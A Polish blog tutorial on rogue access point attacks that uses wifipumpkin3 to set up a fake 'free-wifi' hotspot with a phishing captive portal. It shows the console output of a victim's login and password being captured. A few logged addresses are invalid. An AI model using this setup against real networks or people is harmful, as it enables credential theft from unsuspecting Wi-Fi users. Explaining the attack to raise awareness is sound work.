„Straszny” atak rogue access point

Idąc do McDonalda, restauracji czy nawet zwykłej kawiarni, niekiedy zdaża się, że możemy skorzystać z ich otwartej sieci wifi. Jest to szczególnie przydatne w momencie, kiedy planujemy zostać na dłużej i popracować nad swoimi projektami. Niesie to za sobą sporo ryzyka. Przykładem jest atak rogue access point, któremu poświęcony jest niniejszy post.

Czym jest punkt dostępu? (access point)

Aby zapewnić sobie w środowisku domowym łączność z internetem, większość z nas używa routera, który to w sposób przewodowy bądź bezprzewodowy rozprowadza sygnał z którego korzystają odbiorniki w komputerach. Router tworzy własną sieć domową przy jednoczesnym nadawaniu indywidualnych adresów ip sprzętom. W zależności od używanego routera posiada on inne interfejsy.

Access point z kolei, jest to część routera (urządzenie) bez którego nie bylibyśmy w stanie połączyć się do sieci. Posiada on tak samo jak router interfejsy sieciowe – pierwszy umożliwia komunikacje z internetem za pomocą kabla sieciowego i routera, drugi z kolei umożliwia przyłączanie do sieci kolejnych sprzętów użytkownika.

Rogue access pointem jest więc punktem dostępu zainstalowanym w sieci bez zgody jej właściciela. Atakujący, który jest właścicielem fakeowego punktu dostępu, jest w stanie przechwytywać requesty, co stwarza zagrożenie w postaci wykradnięcia min. wrażliwych danych użytkownika.

wifipumpkin3

                            .,'                          
                        .''.'                
                        .' .'                 
            _.ood0Pp._ ,'  `.~ .q?00doo._          
        .od00Pd0000Pdb._. . _:db?000b?000bo.   
     .?000Pd0000Pd0000PdbMb?0000b?000b?0000b.     
    .d0000Pd0000Pd0000Pd0000b?0000b?000b?0000b.      
    d0000Pd0000Pd00000Pd0000b?00000b?0000b?000b.     
    00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b   
    ?0000b?0000b?  WiFiPumpkin3  00Pd0000Pd0000P    
    ?0000b?0000b?0000b?00000Pd00000Pd0000Pd000P     
    `?0000b?0000b?0000b?0000Pd0000Pd0000Pd000P'  
     `?000b?0000b?000b?0000Pd000Pd0000Pd000P     
        `~?00b?000b?000b?000Pd00Pd000Pd00P'    
            `~?0b?0b?000b?0Pd0Pd000PdP~'  

Wifipumpkin3, jest narzędziem do przeprowadzania min. wyżej opisanego ataku. Sprawdźmy w jaki sposób.

Po instalacji i uruchomieniu polecenia proxies wewnątrz narzędzia, dostaniemy informacje o dostępnych proxy.

 Proxy        | Active   |   Port | Description                                                        --------------+----------+--------+-------------------------------------------------------              captiveflask | False    |     80 | Allow block Internet access for users until they o...               noproxy      | False    |     80 | Runnning without proxy redirect traffic                             pumpkinproxy | True     |   8080 | Transparent proxies that you can use to intercept ...    

Narzędzia udostępnia trzy możliwe ustawienia proxy. Pierwsza zapewnia dostęp do internetu użytkownikom jedynie po wejściu na stronę logowania (na której to możemy spróbować zmusić użytkownika do wpisania danych uwierzytelniających). Druga wyłącza proxy, a ostatnia z opcji jest włączona domyślnie i pozwala ona na przechwytywanie ruchu oraz wyświetlanie go w specjalnie utworzonym do tego panelu. Spróbujmy zatem skorzystać z proxy captiveflask. W tym celu należy użyć polecenia:

wp3 > set proxy captiveflask true

Po ponownym wpisaniu proxies zauważyć można, że captiveflask został aktywowany wraz z portalem przechodnim (captive portal) DarkLogin.

wp3 > proxies

[*] Available proxies:
======================

 Proxy        | Active   |   Port | Description
--------------+----------+--------+-------------------------------------------------------
 captiveflask | True     |     80 | Allow block Internet access for users until they o...
 noproxy      | False    |     80 | Runnning without proxy redirect traffic
 pumpkinproxy | False    |   8080 | Transparent proxies that you can use to intercept ...



[*] Captive Portal plugins:
===========================

 Name      | Active
-----------+----------
 DarkLogin | True
 FlaskDemo | False
 Login_v4  | False
 loginPage | False

Co to dla nas oznacza? Że użyty zostanie template o nazwie DarkLogin. Aby ustawić inny szablon, wpiszemy:

wp3 > set captiveflask.
captiveflask.DarkLogin                          captiveflask.FlaskDemo.ptBr
captiveflask.FlaskDemo                          captiveflask.force_redirect_sucessful_template
captiveflask.FlaskDemo.Default                  captiveflask.loginPage
captiveflask.FlaskDemo.En                       captiveflask.Login_v4

Posługując się przy tym tabem aby wyświetlić możliwe opcje. W naszym przykładzie decydujemy się na:

wp3 > set captiveflask.loginPage true

Przejdźmy do access pointów. Nasze dostępne, skonfigurowany punkt dostępu możemy zobaczyć poleceniem ap.

wp3 > ap

[*] Settings AccessPoint:
=========================

 BSSID             | SSID           |   Channel | Interface   | Status      | Security
-------------------+----------------+-----------+-------------+-------------+------------
 AC:B6:85:33:16:7C | WiFi Pumpkin 3 |        11 | None        | not Running | false

Zmieńmy jego nazwę z WiFi Pumpkin 3 na free-wifi.


wp3 > set ssid free-wifi
wp3 > ap

[*] Settings AccessPoint:
=========================

 BSSID             | SSID      |   Channel | Interface   | Status      | Security
-------------------+-----------+-----------+-------------+-------------+------------
 AC:B6:85:33:16:7C | free-wifi |        11 | None        | not Running | false

Jak widać, interfejs dla naszego access pointa nie jest ustawiony. Dostępne interfejsy możemy sprawdzić uruchamiając polecenie ifconfig. W naszym przypadku użyjemy interfejsu wlo1.

wp3 > set interface wlo1
wp3 > ap

[*] Settings AccessPoint:
=========================

 BSSID             | SSID      |   Channel | Interface   | Status      | Security
-------------------+-----------+-----------+-------------+-------------+------------
 BC:F6:85:03:36:5B | free-wifi |        11 | wlo1        | not Running | false

Z ustawioną konfiguracją możemy przejść do wystawienia access pointa na świat.

wp3 > start

Jak widać, możliwe jest połączenie się z nowo utworzoną siecią wifi.

Po dołączeniu do niej, użytkownik powinien zostać przeniesiony na panel logowania.

W tym samym czasie w terminalu dostaliśmy informacje o połączeniu się ofiary z naszym access pointem wraz z jej przechwyconymi requestami.

[*] 81:15:72:fh:06:86 client join the AP 
 [  pydhcp_server  ] 21:02:24  - SEND to ('0.0.0.0', 68):
::Header::
	op: BOOTREPLY
	hwmac: MAC('81:15:72:fh:06:86')
	flags: 
	hops: 0
	secs: 0
	xid: 105676842
	siaddr: IPv4Address('0.0.0.0')
	giaddr: IPv4Address('0.0.0.0')
	ciaddr: IPv4Address('0.0.0.0')
	yiaddr: IPv4Address('10.0.0.21')
	sname: ''
	file: ''

::Body::
	[X][001] subnet_mask: IPv4Address('255.0.0.0')
	[X][003] router: [IPv4Address('10.0.0.1'), IPv4Address('8.8.8.8')]
	[X][006] domain_name_servers: [IPv4Address('10.0.0.1')]
	[ ][012] hostname: 'DESKTOP-9P879SS'
	[X][051] ip_address_lease_time: 7200
	[-][053] dhcp_message_type: DHCP_ACK
	[X][054] server_identifier: IPv4Address('10.0.0.1')
	[ ][081] client_fqdn: '\x00\x00\x00DESKTOP-9Ph29aS'
 
 [  captiveflask  ] 21:02:59  - 10.0.0.21 - - [05/Nov/2021 21:02:58] "GET /connecttest.txt HTTP/1.1" 302 -
 
 [  sniffkin3  ] 21:02:59  - [ 10.0.0.21 > 13.107.4.52 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:02:59  - 10.0.0.21 - - [05/Nov/2021 21:02:59] "GET /connecttest.txt HTTP/1.1" 302 -
 
 [  sniffkin3  ] 21:02:59  - [ 10.0.0.21 > 13.107.4.52 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:00  - 10.0.0.21 - - [05/Nov/2021 21:03:00] "GET /connecttest.txt HTTP/1.1" 302 -
 
 [  sniffkin3  ] 21:03:00  - [ 10.0.0.21 > 13.107.4.52 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:00  - 10.0.0.21 - - [05/Nov/2021 21:03:00] "GET /connecttest.txt HTTP/1.1" 302 -
 
 [  sniffkin3  ] 21:03:00  - [ 10.0.0.21 > 13.107.4.52 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:37  - 10.0.0.21 - - [05/Nov/2021 21:03:37] "GET / HTTP/1.1" 302 -
 
 [  sniffkin3  ] 21:03:37  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/ 
 [  captiveflask  ] 21:03:37  - 10.0.0.21 - - [05/Nov/2021 21:03:37] "GET /login?orig_url=http%3A%2F%2F10.0.0.1%2F HTTP/1.1" 200 -
 
 [  sniffkin3  ] 21:03:37  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/login?orig_url=http%3A%2F%2F10.0.0.1%2F 
 [  sniffkin3  ] 21:03:38  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/static/css/bootstrap.min.css 
 [  captiveflask  ] 21:03:38  - 10.0.0.21 - - [05/Nov/2021 21:03:37] "GET /static/css/bootstrap.min.css HTTP/1.1" 200 -
10.0.0.21 - - [05/Nov/2021 21:03:38] "GET /static/js/jquery-1.11.1.min.js HTTP/1.1" 200 -
10.0.0.21 - - [05/Nov/2021 21:03:38] "GET /static/js/bootstrap.min.js HTTP/1.1" 200 -
 
 [  sniffkin3  ] 21:03:38  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/static/js/jquery-1.11.1.min.js 
 [  sniffkin3  ] 21:03:38  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/static/js/bootstrap.min.js 
 [  captiveflask  ] 21:03:38  - 10.0.0.21 - - [05/Nov/2021 21:03:38] "GET /static/images/avatar_2x.png HTTP/1.1" 200 -
 
 [  captiveflask  ] 21:03:38  - 10.0.0.21 - - [05/Nov/2021 21:03:38] "GET /favicon.ico HTTP/1.1" 404 -
 
 [  sniffkin3  ] 21:03:38  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/static/images/avatar_2x.png 
 [  sniffkin3  ] 21:03:38  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/favicon.ico 
 [  captiveflask  ] 21:03:53  - 10.0.0.21 - - [05/Nov/2021 21:03:53] "GET /connecttest.txt HTTP/1.1" 302 -
 
 [  captiveflask  ] 21:03:53  - 10.0.0.21 - - [05/Nov/2021 21:03:53] "GET /connecttest.txt HTTP/1.1 
 [  sniffkin3  ] 21:03:53  - [ 10.0.0.21 > 13.493.4.13 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:53  - " 302 -
 
 [  sniffkin3  ] 21:03:53  - [ 10.0.0.21 > 13.493.4.13 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:53  - 10.0.0.21 - - [05/Nov/2021 21:03:53] "GET /connecttest.txt HTTP/1.1" 302 -
 
 [  sniffkin3  ] 21:03:53  - [ 10.0.0.21 > 13.493.4.13 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:53  - 10.0.0.21 - - [05/Nov/2021 21:03:53] "GET /connecttest.txt HTTP/1.1" 302 -

Po wpisaniu wrażliwych danych przez klienta i przesłaniu formularza, w konsoli wyświetli nam się:

 [  sniffkin3  ] 21:03:53  - [ 10.0.0.21 > 13.107.4.52 ] GET www.msftconnecttest.com/connecttest.txt 
 [  captiveflask  ] 21:03:55  - {'10.0.0.21': {'login': 'bugspace@bugspace.pl', 'password': 'bugspacepassword'}} 

[*] CaptiveFlask credentials:
=============================

 IP        | Login                | Password
-----------+----------------------+------------------
 10.0.0.21 | bugspace@bugspace.pl | bugspacepassword


 [  sniffkin3  ] 21:03:56  - [ 10.0.0.21 > 10.0.0.1 ] POST 10.0.0.1/login?orig_url=http%3A%2F%2F10.0.0.1%2F 
                     payload: login=bugspace%40bugspace.pl&password=bugspacepassword
                     Username: bugspace%40bugspace.pl
                     Password: bugspacepassword
 
 [  sniffkin3  ] 21:03:56  - [ 10.0.0.21 > 10.0.0.1 ] POST 10.0.0.1/login?orig_url=http%3A%2F%2F10.0.0.1%2F 
 [  sniffkin3  ] 21:03:56  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/ 
 [  sniffkin3  ] 21:03:56  - [ 10.0.0.21 > 10.0.0.1 ] GET 10.0.0.1/login?orig_url=http%3A%2F%2F10.0.0.1%2F 
 [  captiveflask  ] 21:03:56  - 10.0.0.21 - - [05/Nov/2021 21:03:55] "POST /login?orig_url=http%3A%2F%2F10.0.0.1%2F HTTP/1.1" 302 -
10.0.0.21 - - [05/Nov/2021 21:03:55] "GET / HTTP/1.1" 302 -
10.0.0.21 - - [05/Nov/2021 21:03:55] "GET /login?orig_url=http%3A%2F%2F10.0.0.1%2F HTTP/1.1" 200 -

Tym samym otrzymaliśmy login i hasło użytkownika.

Źródła

https://github.com/swagkarna/wifi-pumpkin-v3.0
https://www.khanacademy.org/computing/computers-and-internet/xcae6f4a7ff015e7d:online-data-security/xcae6f4a7ff015e7d:cyber-attacks/a/rogue-access-points-mitm-attacks

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *